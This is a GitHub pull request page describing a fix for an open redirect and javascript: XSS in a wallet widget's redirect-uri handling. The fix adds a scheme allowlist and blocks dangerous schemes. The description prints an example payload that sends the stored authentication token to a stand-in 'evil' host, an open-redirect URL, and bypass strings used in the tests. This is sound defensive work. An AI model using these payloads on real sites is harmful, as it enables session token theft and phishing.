fix(security): validate redirect-uri scheme to block open redirect & javascript: XSS#1119
Open
TaprootFreak wants to merge 1 commit into
Open
fix(security): validate redirect-uri scheme to block open redirect & javascript: XSS#1119TaprootFreak wants to merge 1 commit into
TaprootFreak wants to merge 1 commit into
Conversation
…d javascript: XSS
The redirect-uri URL parameter was written to window.location on
transaction close without any scheme/origin validation, allowing:
- phishing redirects from a trusted dfx.swiss URL to any https target
- JWT exfiltration via redirect-uri=javascript:fetch('//evil/'+
localStorage.getItem('dfx.authenticationToken')) executed same-origin
Add isSafeRedirectUri: an allowlist (https; http only for localhost;
well-formed RFC 3986 custom deep-link schemes for wallet apps) with a
hard block of browser-executable / resource-exposing / external-handler
schemes as defense-in-depth — these share origin === 'null' with
legitimate wallet deep links (myapp://, bitcoin:) so cannot be told
apart by origin alone. Applied both at intake (URL param) and at the
window.location sink (also covers pre-fix poisoned localStorage values).
Custom wallet deep links stay functional. Mirrors the existing https
validation in kyc.screen.tsx.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem (High)
Das Widget liest den URL-Parameter
redirect-uri, persistiert ihn in localStorage und schreibt ihn beim Schliessen einer Transaktion ungeprüft inwindow.location(app-handling.context.tsx→closeServices). Daraus folgten zwei real ausnutzbare Angriffe:?redirect-uri=https://evil.exampleleitet das Opfer nach Abschluss von einer vertrauenswürdigen dfx.swiss-URL auf die Angreiferseite (Payment-Link-Flow schliesst sogar automatisch ohne Klick).?redirect-uri=javascript:fetch('//evil/'+localStorage.getItem('dfx.authenticationToken'))wird same-origin ausgeführt → JWT-Exfiltration.Fix
Neuer Helper
isSafeRedirectUri(src/util/utils.ts), Allowlist statt Denylist:https:→ erlaubthttp:→ nurlocalhost/127.0.0.1(lokale Entwicklung)myapp://,bitcoin:,lightning:) → erlaubt, sofern wohlgeformtes RFC-3986-Schemejavascript:,data:,vbscript:,blob:,file:,about:,view-source:,filesystem:,intent:,ws:/wss:,ftp:,tel:/sms:/mailto:,chrome:— diese teilenorigin === 'null'mit legitimen Wallet-Deep-Links und lassen sich nicht über die Origin allein unterscheiden.Angewandt an zwei Stellen: am Intake (URL-Param wird gar nicht erst gespeichert) und am
window.location-Sink (deckt auch alte, vor dem Fix vergiftete localStorage-Werte ab). Custom Wallet-Deep-Links bleiben voll funktional. Spiegelt die bestehendehttps:-Prüfung inkyc.screen.tsx.Qualitätssicherung
Implementiert + adversarial reviewt (Subagent-Loop): Userinfo-/Subdomain-Bypässe (
http://localhost@evil.com,http://127.0.0.1.evil.com), Steuerzeichen-Tricks (java\tscript:) und die Denylist-Lücken des ersten Entwurfs (view-source:,intent://,ws:,ftp:) sind als Tests verankert.eslintsauberisSafeRedirectUri: 44/44, volle Suite 291/291 grünTeil des Security-Backlogs aus dem branch-weiten Review; weitere Findings (Account-Merge-Token, Alchemy-Webhook-Secret-Dump, Yapeal fail-open) folgen separat.